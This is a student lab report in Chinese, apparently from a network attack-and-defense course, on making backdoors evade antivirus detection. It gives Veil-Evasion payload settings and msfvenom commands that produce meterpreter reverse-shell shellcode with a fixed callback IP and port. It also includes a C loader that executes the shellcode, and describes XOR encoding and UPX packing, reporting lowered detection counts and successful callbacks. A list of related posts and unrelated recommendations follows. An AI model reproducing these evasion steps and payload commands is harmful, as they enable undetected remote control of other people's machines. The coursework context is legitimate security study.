20155216 Exp3 免杀原理与实践
Exp3 免杀原理与实践
基于特征码的改变来实现免杀(实践过程记录)
MSF编码器编译后门检测
可以通过VirSCAN来检验后门抗杀能力。
ps:选择后门前修改其文件名,不得含有数字。

如上图所示,39款杀毒软件中有20款报毒,可见实验二的后门不具有隐秘性,且国内的杀毒软件对此后门报毒率100%,可见国内的杀毒软件质量可靠。
接下来将对免杀后门做一定研究。
Veil-Evasion免杀平台
Veil-Evasion的安装
如果直接使用 sudo apt-get install veil-evasion 可能会在安装过程中丢失一些压缩包。
可使用以下命令完整安装Veil-Evasion。
echo "deb http://http.kali.org/kali kali-rolling main contrib non-free" >> /etc/apt/sources.list
sudo apt-get update
sudo apt-get install veil-evasion
在终端下输入指令 veil 即可打开软件。

此时将会显示 Adding x86 architecture to x86_64 system for Wine ,需要安装Wine和wWine32。
使用以下命令依次安装软件:
apt-get install wine
apt-get install nfs-common
apt-get install wine32
再次进入veil界面,将会自动安装、展开、更新或升级软件包,过程很漫长……

之后需要安装很多软件,选择默认安装选项即可。
Veil-Evasion的使用
在终端输入 veil 进入Veil-Evasion。

接着输入use evasion

之后依次输入以下命令:
use python/meterpreter/rev_tcp.py //设置payload
set LHOST 192.168.253.128 //设置反弹连接IP(kali的IP地址)
set port 443 //设置反弹端口443,默认为4444
generate //生成
5216 //程序名

输入文件名后选择1

1选项之后跟了一个default,选择后发现只能生成python文件、.py文件,但无法生成exe可执行文件,原因应该是系统未安装合适的python运行环境,于是,我们换成C语言的代码。
之后改变了设置payload的命令,改为 use c/meterpreter/rev_tcp.py 。

而后继续输入后面的内容,生成相应的文件:

在相应的文件夹下找到exe文件,将其拷贝至windows,进行免杀测试:

测试结果比之前的好很多。
接下来进行回连尝试:

回连成功。
利用shellcode编程实现免杀
使用命令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.253.128 LPORT=443 -f c生成C语言的shellcode。

或者使用 msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.253.128 -f c 。

将其手动复制到code::blocks中运行,生成exe可执行文件。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned char buf[] =
"此处省去若干行"
int main()
{
int (*func)()=(int(*)())buf;
func();
}

生成后360会给出警告:

进行免杀测试:

进行回连尝试:

回连成功。
但使用第二种方法效果更好一些:

免杀进阶
压缩加壳
首先用UPX对生成的exe文件尝试压缩加壳

压缩后文件大小由28KB压缩成21KB,但是在免杀方面并没有什么显著效果,只比原来减少一个杀毒软件报毒。

修改shellcode
对shellcode进行异或,每一位数异或0x47,之后在数组调用前异或回来。

只有3个杀毒软件报毒,比起之前的检测结果有了好转。
对shellcode进行异或后再进行加压
结果比只进行异或多了一个杀毒软件报毒。
回连尝试
通过上述三种修改后的shellcode编译出的可执行均可回连成功。

基础问题回答
- 1、杀软是如何检测出恶意代码的?
恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
- 2、免杀是做什么?
对恶意软件做处理,让它不被杀毒软件所检测。
- 3、免杀的基本方法有哪些?
(1)加壳。
(2)对shellcode编码进行处理。
实践总结与体会
可能是现在杀毒软件对加壳的文件太过于敏感,加壳之后会被更多的杀毒软件检测出来。
国产杀毒软件江民杀毒很奇怪,简单的后门其他杀毒软件报错,而它不报错;等到之后对修改后的shellcode生成的exe进行检测时,其他杀毒软件能通过,它就开始拦截了,并且清楚地提示为后门程序。
还有的杀毒软件在修改或加压前提示是后门,修改后就提示为特洛伊木马。
感觉3个杀毒软件报毒已经比较极限了,也有可能是C语言编译器的问题。我尝试用helloworld代码的可执行文件进行检测,结果也有3个报毒。
离实战还缺些什么技术或步骤?
1、如果要植入后门并回连,首先要能够ping通对方的主机。有时候在同一无线网下都ping不通,更别提路由中转。
2、如何让后门在对方的主机上启动也是个至关重要的问题。
20155216 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
随机推荐
- linux svn配置与使用
svn错误码对照表: http://docs.sharpsvn.net/current/html/T_SharpSvn_SvnErrorCode.htm https://www.cnblogs ...
- FAST特征点检测算法
一 原始方法 简介 在局部特征点检测快速发展的时候,人们对于特征的认识也越来越深入,近几年来许多学者提出了许许多多的特征检测算法及其改进算法,在众多的特征提取算法中,不乏涌现出佼佼者. 从最早期的Mo ...
- LeetCode题解之Univalued Binary Tree
1.题目描述 2.问题分析 遍历一遍树,然后将所有节点的数值放入到一个set中,最后检查set中元素的个数是否为1. 3.代码 bool isUnivalTree(TreeNode* root) { ...
- MySQL-死锁查询
1.查询是否锁表 show OPEN TABLES where In_use > 0; 查询到相对应的进程 === 然后 kill id 2.查询进程 show processlist 补 ...
- PowerShell下载文件
$webRequest = [System.Net.HttpWebRequest]::Create("http://go.microsoft.com/fwlink/?LinkID=14915 ...
- Windows10 家庭版没有本地组策略解决方法
windows 家庭版默认是没有本地组策略的, win+R运行gpedit.msc提示不存在 下面的代码保存一个cmdorbat 脚本文件add_gpedit.cmd, 并执行 add_gpedit. ...
- Window10 Linux子系统挂载磁盘
默认情况下, Linux子系统将当前winodws磁盘的盘全部挂载到/mnt/<disk_label>, 但一些新增的盘就需要手动做下了.. 官方参考文档 挂载磁盘 -- DrvFs 挂载 ...
- Spark 集群搭建
0. 说明 Spark 集群搭建 [集群规划] 服务器主机名 ip 节点配置 s101 192.168.23.101 Master s102 192.168.23.102 Worker s103 19 ...
- 内网DHCP攻击
局域网内DHCP攻击 实验环境:两个win2008 r2虚拟机(一台用作正常的DHCP服务器,另一台用作伪造DHCP服务器),两个win7虚拟机(用作客户机),一个kali虚拟机(用作攻击,耗尽DHC ...
- 在阿里云Windows Server 上部署ASP .NET CORE2.0项目
近期使用ASP.NET Core2.0对博客进行了重写,在部署到服务器时遇到了一些问题,来记录一下留用. 配置环境 安装 .Net Framework3.5 在IIS管理器上直接开启,这里总是失败,上 ...